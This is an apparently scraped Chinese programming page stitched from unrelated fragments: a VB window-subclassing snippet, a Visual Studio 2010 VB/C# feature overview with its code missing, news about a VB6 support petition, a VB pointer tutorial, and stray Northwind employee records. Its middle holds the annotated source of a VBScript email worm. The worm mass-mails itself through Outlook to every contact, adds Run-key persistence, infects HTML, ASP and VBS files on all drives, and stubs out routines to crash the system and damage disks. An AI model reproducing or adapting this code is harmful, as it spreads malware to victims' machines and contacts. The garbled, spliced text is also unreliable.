A s Long Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long) As Long Declare Function
CallWindowProc Lib "user32" Alias "CallWindowProcA" _
(ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
’定義常數Public Const GWL_WNDPROC = (-4) Public Const WM_MOUSEMOVE = &H200 Public Const WM_RBUTTONDOWN = &H204
’全局變量,存放控件標志性數據Public preWinProc As Long
’本函數就是用來接收子分類時截取的消息的Public Function wndproc(ByVal hwnd As Long, ByVal Msg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As
Long
’截取下來的消息存放在msg參數中.
if msg=WM_RBUTTONDOWN then
’檢測到鼠標右擊消息,這里就可以加入我們的處理代碼如:
msgbox "你好,鼠標右擊消息!"
’需要注意,如果這兒不加入任何代碼,則相當于吃掉了這條消息. else
’如果我們不是我們需要處理的消息,則將之送回原來的程序.
wndproc = CallWindowProc(preWinProc, hwnd, Msg, wParam, lParam) endif End Function
’以下代碼在窗體中: ’本例以截取一個combobox控件的消息為例,假設該’控件的名字是:comb1 Private Sub subclass() Dim ret As Long
’記錄Window Procedure的地址
preWinProc = GetWindowLong(comb1.hwnd, GWL_WNDPROC)
以下內容含腳本,或可能導致頁面不正常的代碼 |
---|
說明:上面顯示的是代碼內容。您可以先檢查過代碼沒問題,或修改之后再運行. |
選擇一種編程語言是每一個程序員都要做的個人決定。這就好像對冰淇淋口味的選擇一樣。冰淇淋口味的選擇多多,但你最喜歡的口味只關系到你的個人偏好。
在Visual Studio 2010種,為了給程序員提供他們構建出色軟件時所需要的所有工具而不用局限于他們所選擇的語言,我們從好幾個方面增強了我們最流行的兩種語言,Visual Basic和C#語言的功能。
Visual Basic
Visual Basic開發團隊為了讓開發人員可以用更少的代碼完成更多的任務,集中增加了和生產力相關的功能特性。Visual Basic客戶最常提出的要求是在大多數情況下能省去為代碼聲明分成多行時所需要添加的下劃線(“_”)。Visual Basic 10增加了隱式斷行的功能特性,能在大多數情況下不要求開發人員使用下劃線來斷行。
另一個新添加的和提高生產力有關的功能特性是自動實現屬性。有了自動實現屬性的功能,多行常規的屬性實現的代碼就可以用一行簡單的聲明代替。在加入該功能特性之前,屬性聲明經常如下所示:
現在,屬性聲明能用簡單的多得方法實現:
集合初始化和數組Literal也變得更加簡單。現在集合能在它們被聲明的時候就被初始化,而數組Literal的類型能交由編譯器來識別。
現在,Visual Basic 10.0有了更好的lambda表達式支持。現在,Lambda表達式可以包含沒有返回值的表達式,就像下面sub關鍵詞所要表達的那樣:
有時候,你會想在Lamdba表達式聲明中作些更復雜的工作。Visual Basic 10.0支持多行的Lamdba表達式。就像在常規Lambda表達式中一樣,編譯器將盡可能識別變量和返回類型。
在Visual Basic 10.0中,和Python及Ruby語言等動態語言的互通操作也變得更加簡單。比如,下面的代碼片斷調用了一個Python庫“math.ph”中的方法:
C#
C# 4.0主要增強了與動態編程語言的互通性并改進了Office編程性。動態查找是C# 4.0的一個新功能,能讓你用同樣的方法使用和操作IronPython、IronRuby、JScript、HTML DOM以及標準.NET庫中的對象,不管該對象從哪里獲得。命名參數和可選參數,以及對COM客戶端支持的改進等語言方面的增強讓那些和Office API打交道的C#開發人員與Visual Basic開發人員有同樣的美妙體驗。
在你的代碼中加入新的dynamic關鍵詞能讓它的類型在運行時被動態解析而非編譯時的靜態解析。這讓動態語言用一種C#編程員覺得自然的方式在C#語言中暴露他們的對象:
可選方法參數對Visual Basic和C++的編程員來說再熟悉不過,F在C#編程員同樣可以使用這種參數?蛇x參數在方法簽名中與一個默認值一同聲明,如下所示:
上面這個方法可以用下面任意一種方法調用:
如果要省略currentCredit參數但指明year參數,可以使用新加入的命名參數功能特性(如高亮的代碼所示)。下面所有的調用都是合法的:
即使不用可選參數,命名參數同時也是一種用來對你現有方法編寫自定義調用的好方法。
]]>微軟此前表示,將于本月底停止對Visual Basic 6提供標準支持,終止免費的突發事件支持和升級,這兩項服務改為收費服務再延續三年。
MVPs不僅僅要求微軟繼續對VB6提供支持,并開發與新產品Visual Basic.Net接軌的語言。
聯名申請書表示,“在Visual Studio IDE框架內提供新版基于COM的Visual Basic有助于微軟保持客戶已開發程序產品的價值,也可以顯示微軟致力于核心Visual Basic語言的決心,并能夠大大簡化VB.NET 推廣的過程!
心懷不滿的開發者稱,微軟用Visual Basic.Net (或Visual Basic 7)來代替VB6,事實上是從根本上拋棄一種語言而選擇完全不同的另一種語言。要讓基于VB6的應用軟件升級到VB.Net幾乎是不可能的,而對于VB6開發者來說學習VB.Net語言無疑于學習另一種完全陌生的復雜語言,VB.Net只在名義上屬于Visual Basic。
聯名書表示,微軟在開發 C#語言的同時還在開發C++語言,為何在Visual Basic和VB.Net語言開發上不采用同樣的模式呢?微軟于2000年推出VB.Net后,VB6及老版本用戶大量遞減,他們并沒有轉向VB.Net,而是Java等非微軟產品。
在北美地區,絕大多數Visual Basic開發者繼續使用VB6或更老的版本,使用VB6的開發者占45%,而使用VB.Net用戶只占34%。
一些業界觀察人士認為,盡管開發用戶的請求可能起一定作用,但并無實際意義,因為微軟不大可能改變對于VB6的立場。
]]>下面就是程序中所需的各個函數的定義部分,整個vbs程序將由windows目錄中的
wscript.exe文件解釋執行,如果將這個文件改名或刪除,當然vbs程序也就不能執行
了,如此便阻止了病毒的執行。在用殺毒軟件殺毒時,往往病毒傳播的速度要比殺
毒的速度快,如果出現這種情況,應該先將wscript.exe文件改名,阻止病毒傳播,
等殺完毒后,再改回來,不致影響其他正常的vbs程序的執行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname 得到此文件名稱
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject")
隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
統對象(filesystemobject)。這個對象,及一些相關對象,封裝了所有
的文件操作。這個病毒程序基本展示了所有的這些操作,因此,如果您要
利用vbs進行文件操作編程,將這個病毒源碼作為參考文檔,肯定不錯。
if geterr then
randomize
ra = int(rnd() * 7)
doucment.write title(ra)
executemail 打開有毒的頁面
else
executepage 賦值成功,進行傳染,攻擊
end if
else
executevbs 從病毒體文件“system.dll”提取病毒
end if
end sub
function geterr()
本函數主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
內容略
end function
sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str = getscriptcode("vbscript") 獲得此程序的vbscript code
js_str = getjavascript()
code_str = makescript(encrypt(vbs_str),true) 進行加密處理
html_str = makehtml(encrypt(vbs_str), true)
gf
wdsf = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "readme.html"
wdf3 = w2 & "system.dll"
set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close
僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數
opentextfile (wdf, 2, true)的三個參數分別是:
①文件名,②讀=1或寫=2,③文件不存在時是否創建;
當前,filesystemobject對于文本文件的操作有較強的優勢,對binary文件
的操作還有待加強。下面依次生成其他的文件,內容略
writereg mswkey & "currentversion\run\mdm", wdsf, ""
writereg mswkey & "currentversion\runservices\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個腳本文件加入到啟動組當中,隨win啟動自動執行
sendmail
hackpage
if testuser then
killhe
else
mk75
end if
set adi = fso.drives 所有驅動器對象
for each x in adi 遍歷所有的驅動器
if x.drivestype = 2 or x.drivestype = 3 then
call searchhtml(x & "\")
end if
next
if fso.fileexists(defpath) then fso.deletefile defpath
如果存在"c:\readme.html" ,就刪除它
end sub
sub executemail()
此函數制作病毒文件"c:\readme.html" ,并打開它,
由這一段程序,可以看出vbs的簡潔高效
on error resume next
vbs_str = getscriptcode("vbscript")
js_str = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
.reset
.path = defpath
.doc = makehtml(encrypt(vbs_str), true)
.write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub
sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
killhe
else
mk75
end if
set adi = fso.drives
for each x in adi
if x.drivestype = 2 or x.drivestype = 3 then
call searchhtml(x & "\")
end if
next
end sub
sub gf()
w1=fso.getspecialfolder(0) & "\" 獲得windows的路徑名,
w2=fso.getspecialfolder(1) & "\" 獲得系統文件夾路徑名
end sub
function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function
function writereg(key_str, newvalue, vtype)
對注冊表進行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
tmps.regwrite key_str, newvalue
else
tmps.regwrite key_str, newvalue, vtype
end if
set tmps = nothing 關閉不用的資源,算是病毒的良好行為
end function
function makehtml(sbuffer, ihtml)
制作html文件的內容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf & makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function
function makescript(codestr, ihtml)
制作病毒的可執行script code
if ihtml then
dim docuwrite
docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
"jword" & "+\n</" & "+script>);"
docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
"nword" & "+\n</" & "+script>);"
makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else
makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function
function getscriptcode(languages)
此函數獲得運行時的script code,
內容略
end function
function getjavascript()
getjavascript = getscriptcode("javascript")
end function
function testuser()
此函數通過鍵值檢測網絡主機是否是攻擊目標
內容略
end function
function mk75()
檢測日期是否符合,如果符合,發控制臺命令,使系統癱瘓
end function
function sendmail()
利用outlook發送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
outlook可以作為一個自動化服務器(automation servers),因此很容易實現自動發送
郵件,從這里也可以看出,先進的東西難免會被反面利用,如果你也想用程序控制發送
郵件,可以仔細研究下面的代碼,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html" 要發送的附件文件
set oa = createobject("outlook.application") 制作outlook對象
set wab = oa.getnamespace("mapi") 取得outlook mapi名字空間
for j = 1 to wab.addresslists.count 遍歷所有聯系人
eins = wab.addresslists(j)
wreg=readreg (hcuw & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count 地址表的email記錄數
if (eaec > int(wreg)) then
for x = 1 to eaec
arrsm = wab.addressentries(x)
areg = readreg(hcuw & arrsm)
讀注冊表中的標記,避免重復發送
if (areg = "") then
set fm = wab.createitem(0) 創建新郵件
with fm
ra = int(rnd() * 7)
.recipients.add arrsm 收件人
.subject = title(ra) 郵件的標題
.body = title(ra) 郵件的正文內容
.attachments at 病毒文件作為附件
.send 發送郵件
writereg hcuw & arrsm, 1, "reg_dword"
end with
end if
next
end if
writereg hcuw & eins, eaec, ""
next
set oa = nothing
window.settimeout "sendmail()", 10000 每100秒發送一次
end function
sub searchhtml(path)
這個函數遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0 then exit sub
fso.getspecialfolder(2)獲得臨時文件夾路徑名,
fso.getspecialfolder(0)獲得windows的路徑名,
fso.getspecialfolder(1)獲得系統文件夾路徑名
set pfo = fso.getfolder(path)
set psfo = pfo.subfolders
for each ps in psfo
searchhtml(ps.path)
set pf = ps.files
for each pfi in pf
ext = lcase(fso.getextensionname(pfi.path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
if code_str<>"" then addhead pfi.path, pfi, 1
elseif ext= "vbs" then
addhead pfi.path,pfi, 2
end if
next
next
end sub
sub killhe()
看函數名就知道硬盤又要倒霉啦
end sub
sub hackpage()
dim fi
順便提一下,聽說VB.NET里沒有這幾個函數,但只要還能調用API,我們就可以試試上面的幾個聲明,這樣在VB.NET里我們一樣可以進行指針操作。
但是請注意,如果通過API調用來使用VarPtr,整個程序二SwapPtr將比原來使用內置VarPtr函數時慢6倍。)
如果你喜歡刨根問底,那么下面就是VarPtr函數在C和匯編語言里的樣子:
在C里樣子是這樣的:
long VarPtr(void* pv){
return (long)pv;
}
所對就的匯編代碼就兩行:
mov eax,dword ptr [esp+4]
ret 4 '彈出棧里參數的值并返回。
之所以讓大家了解VarPtr的具體實現,是想告訴大家它的開銷并不大,因為它們不過兩條指令,即使加上參數賦值、壓棧和調用指令,整個獲取指針的過程也就六條指令。當然,同樣的功能在C語言里,由于語言的直接支持,僅需要一條指令即可。但在VB里,它已經算是最快的函數了,所以我們完全不用擔心使用VarPtr會讓我們失去效率!速度是使用指針技術的根本要求。
一句話,VarPtr返回的是變量所在處的內存地址,也可以說返回了指向變量內存位置的指針,它是我們在VB里處理指針最重要的武器之一。
3、ByVal和ByRef
ByVal傳遞的參數值,而ByRef傳遞的參數的地址。在這里,我們不用去區別傳指針/傳地址/傳引用的不同,在VB里,它們根本就是一個東西的三種不同說法,即使VB的文檔里也有地方在混用這些術語(但在C++里的確要區分指針和引用)
初次接觸上面的程序二SwapPtr的朋友,一定要搞清在里面的CopyMemory調用中,在什么地方要加ByVal,什么地方不加(不加ByVal就是使用VB缺省的ByRef)
準確的理解傳值和傳地址(指針)的區別,是在VB里正確使用指針的基礎。
現在一個最簡單的實驗來看這個問題,如下面的程序三:
【程序三】:'體會ByVal和ByRef
Sub TestCopyMemory()
Dim k As Long
k = 5
Note: CopyMemory ByVal VarPtr(k), 40000, 4
Debug.Print k
End Sub
上面標號Note處的語句的目的,是將k賦值為40000,等同于語句k=40000,你可以在"立即"窗口試驗一下,會發現k的值的確成了40000。
實際上上面這個語句,翻譯成白話,就是從保存常數40000的臨時變量處拷貝4個字節到變量k所在的內存中。
現在我們來改變一個Note處的語句,若改成下面的語句:
Note2: CopyMemory ByVal VarPtr(k), ByVal 40000, 4
這句話的意思就成了,從地址40000拷貝4個字節到變量k所在的內存中。由于地址40000所在的內存我們無權訪問,操作系統會給我們一個Access Violation內存越權訪問錯誤,告訴我們"試圖讀取位置0x00009c40處內存時出錯,該內存不能為'Read'"。
我們再改成如下的語句看看。
Note3: CopyMemory VarPtr(k), 40000, 4
這句話的意思就成了,從保存常數40000的臨時變量處拷貝4個字節到到保存變量k所在內存地址值的臨時變量處。這不會出出內存越權訪問錯誤,但k的值并沒有變。
我們可以把程序改改以更清楚的休現這種區別,如下面的程序四:
【程序四】:'看看我們的東西被拷貝到哪兒去了
Sub TestCopyMemory()
Dim i As Long, k As Long
k = 5
i = VarPtr(k)
NOTE4: CopyMemory i, 40000, 4
Debug.Print k
Debug.Print i
i = VarPtr(k)
NOTE5: CopyMemory ByVal i, 40000, 4
Debug.Print k
End Sub
程序輸出:
5
40000
40000
由于NOTE4處使用缺省的ByVal,傳遞的是i的地址(也就是指向i的指針),所以常量40000拷貝到了變量i里,因此i的值成了40000,而k的值卻沒有變化。但是,在NOTE4前有:i=VarPtr(k),本意是要把i本身做為一個指針來使用。這時,我們必須如NOTE5那樣用ByVal來傳遞指針i,由于i是指向變量k的指針,所以最后常量40000被拷貝了變量k里。
希望你已經理解了這種區別,在后面問題的討論中,我還會再談到它。
4、AddressOf
它用來得到一個指向VB函數入口地址的指針,不過這個指針只能傳遞給API使用,以使得API能回調VB函數。
本文不準備詳細討論函數指針,關于它的使用請參考VB文檔。
5、拿來主義。
實際上,有了CopyMemory,VarPtr,AddressOf這三把斧頭,我們已經可以將C里基本的指針操作拿過來了。
如下面的C程序包括了大部分基本的指針指針操作:
struct POINT{
int x; int y;
};
int Compare(void* elem1, void* elem2){}
void PtrDemo(){
//指針聲明:
char c = 'X'; //聲明一個char型變量
char* pc; long* pl; //聲明普通指針
POINT* pPt; //聲明結構指針
void* pv; //聲明無類型指針
int (*pfnCastToInt)(void *, void*);//聲明函數指針:
//指針賦值:
pc = &c; //將變量c的地址值賦給指針pc
pfnCompare = Compare; //函數指針賦值。
//指針取值:
c = *pc; //將指針pc所指處的內存值賦給變量c
//用指針賦值:
*pc = 'Y' //將'Y'賦給指針pc所指內存變量里。
//指針移動:
pc++; pl--;
}
這些對指針操作在VB里都有等同的東西,
前面討論ByVal和ByRef時曾說過傳指針和傳地址是一回事,實際上當我們在VB里用缺省的ByRef聲明函數參數時,我們已經就聲明了指針。
如一個C聲明的函數:long Func(char* pc)
其對應的VB聲明是:Function Func(pc As Byte) As Long
這時參數pc使用缺省的ByRef傳地址方式來傳遞,這和C里用指針來傳遞參數是一樣。
那么怎么才能象C里那樣明確地聲明一個指針呢?
很簡單,如前所說,用一個32位長整數來表達指針就行。在VB里就是用Long型來明確地聲明指針,我們不用區分是普通指針、無類型指針還是函數指針,通通都可用Long來聲明。而給一個指針賦值,就是賦給它用VarPar得到的另一個變量的地址。具體見程序五。
【程序五】:同C一樣,各種指針。
Type POINT
X As Integer
Y As Integer
End Type
Public Function Compare(elem1 As Long, elem2 As Long) As Long
'
End Function
Function FnPtrToLong(ByVal lngFnPtr As Long) As Long
FnPtrToLong = lngFnPtr
End Function
Sub PtrDemo()
Dim l As Long, c As Byte, ca() As Byte, Pt As POINT
Dim pl As Long, pc As Long, pv As Long, pPt As Long, pfnCompare As Long
c = AscB("X")
pl = VarPtr(l) '對應C里的long、int型指針
pc = VarPtr(c) '對應char、short型指針
pPt = VarPtr(Pt) '結構指針
pv = VarPtr(ca(0)) '字節數組指針,可對應任何類型,也就是void*
pfnCompare = FnPtrToLong(AddressOf Compare) '函數指針
CopyMemory c, ByVal pc, LenB(c) '用指針取值
CopyMemory ByVal pc, AscB("Y"), LenB(c) '用指針賦值
pc = pc + LenB(c) : pl = pl - LenB(l) '指針移動
End Sub
我們看到,由于VB不直接支持指針操作,在VB里用指針取值和用指針賦值都必須用CopyMemory這個API,而調用API的代價是比較高的,這就決定了我們在VB里使用指針不能象在C里那樣自由和頻繁,我們必須要考慮指針操作的代價,在后面的"指針應用"我們會再變談這個問題。
程序五中關于函數指針的問題請參考VB文檔,無類型指針void*會在下面"關于Any的問題"里說。
程序五基本上已經包括了我們能在VB里進行的所有指針操作,僅此而已。
下面有一個小測試題,如果現在你就弄懂了上面程咬金的三板斧,你就應該能做得出來。
上面提到過,VB.NET中沒有VarPtr,我們可以用聲明API的方式來引入MSVBVM60.DLL中的VarPtr,F在的問題如果不用VB的運行時DLL文件,你能不能自己實現一個ObjPtr。答案在下一節后給出。
四、指針使用中應注意的問題
1、關于ANY的問題
如果以一個老師的身份來說話,我會說:最好永遠也不要用Any!是的,我沒說錯,是永遠!所以我沒有把它放在程咬金的三板斧里。當然,這個問題和是不是應該使用指針這個問題一樣會引發一場沒有結果的討論,我告訴你的只是一個觀點,因為有時我們會為了效率上的一點點提高或想偷一點點懶而去用Any,但這樣做需要要承擔風險。
Any不是一個真正的類型,它只是告訴VB編譯器放棄對參數類型的檢查,這樣,理論上,我們可以將任何類型傳遞給API。
Any在什么地方用呢?讓我們來看看,在VB文檔里的是怎么說的,現在就請打開MSDN(Visual Studio 6自帶的版本),翻到"Visual Basic文檔"->"使用Visual Basic"->"部件工具指南"->"訪問DLL和Windows API"部分,再看看"將 C 語言聲明轉換為 Visual Basic 聲明"這一節。文檔里告訴我們,只有C的聲明為LPVOID和NULL時,我們才用Any。實際上如果你愿意承擔風險,所有的類型你都可以用Any。當然,也可以如我所說,永遠不要用Any。
為什么要這樣?那為什么VB官方還要提供Any?是信我的,還是信VB官方的?有什么道理不用Any?
如前面所說,VB官方不鼓勵我們使用指針。因為VB所標榜的優點之一,就是沒有危險的指針操作,所以的內存訪問都是受VB運行時庫控制的。在這一點上,JAVA語言也有著同樣的標榜。但是,同JAVA一樣,VB要避免使用指針而得到更高的安全性,就必須要克服沒有指針而帶來的問題。VB已經盡最大的努力來使我們遠離指針的同時擁有強類型檢查帶來的安全性。但是操作系統是C寫的,里面到處都需要指針,有些指針是沒有類型的,就是C程序員常說的可怕的void*無類型指針。它沒有類型,因此它可以表示所有類型。如CopyMemory所對應的是C語言的memcpy,它的聲明如下:
void *memcpy( void *dest, const void *src, size_t count );
因memcpy前兩個參數用的是void*,因此任何類型的參數都可以傳遞給他。
一個用C的程序員,應該知道在C函數庫里這樣的void*并不少見,也應該知道它有多危險。無論傳遞什么類型的變量指針給上面memcpy的void*,C編譯器都不會報錯或給任何警告。
在VB里大多數時候,我們使用Any就是為了使用void*,和在C里一樣,VB也不對Any進行類型檢查,我們也可以傳遞任何類型給Any,VB編譯器也都不會報錯或給任何警告。
但程序運行時會不會出錯,就要看使用它時是不是小心了。正因為在C里很多錯誤是和void*相關的,所以,C++鼓勵我們使用satic_cast<void*>來明確指出這種不安全的類型的轉換,已利于發現錯誤。
說了這么多C/C++,其實我是想告訴所有VB的程序員,在使用Any時,我們必須和C/C++程序員使用void*一樣要高度小心。
VB里沒有satic_cast這種東西,但我們可以在傳遞指針時明確的使用long類型,并且用VarPtr來取得參數的指針,這樣至少已經明確地指出我們在使用危險的指針。如程序二經過這樣的處理就成了下面的程序:
【程序五】:'使用更安全的CopyMemory,明確的使用指針!
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Long)
Sub SwapStrPtr2(sA As String, sB As String)
Dim lTmp As Long
Dim pTmp As Long, psA As Long, psB As Long
pTmp = VarPtr(lTmp): psA = VarPtr(sA): psB = VarPtr(sB)
CopyMemory pTmp, psA, 4
CopyMemory psA, psB, 4
CopyMemory psB, pTmp, 4
End Sub
如果你對Visual Studio非常熟悉, 我估計你只要10到15分鐘就能在你自己的機器上實現.<!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ -->EmployeeID: 2 Andrew Fuller Andrew received his BTS commercial in 1974 and a Ph.D. in international marketing from the University of Dallas in 1981. He is fluent in French and Italian and reads German. He joined the company as a sales representative, was promoted to sales manager in January 1992 and to vice president of sales in March 1993. Andrew is a member of the Sales Management Roundtable, the Seattle Chamber of Commerce, and the Pacific Rim Importers Association. EmployeeID: 1 Nancy Davolio Education includes a BA in psychology from Colorado State University in 1970. She also completed "The Art of the Cold Call." Nancy is a member of Toastmasters International.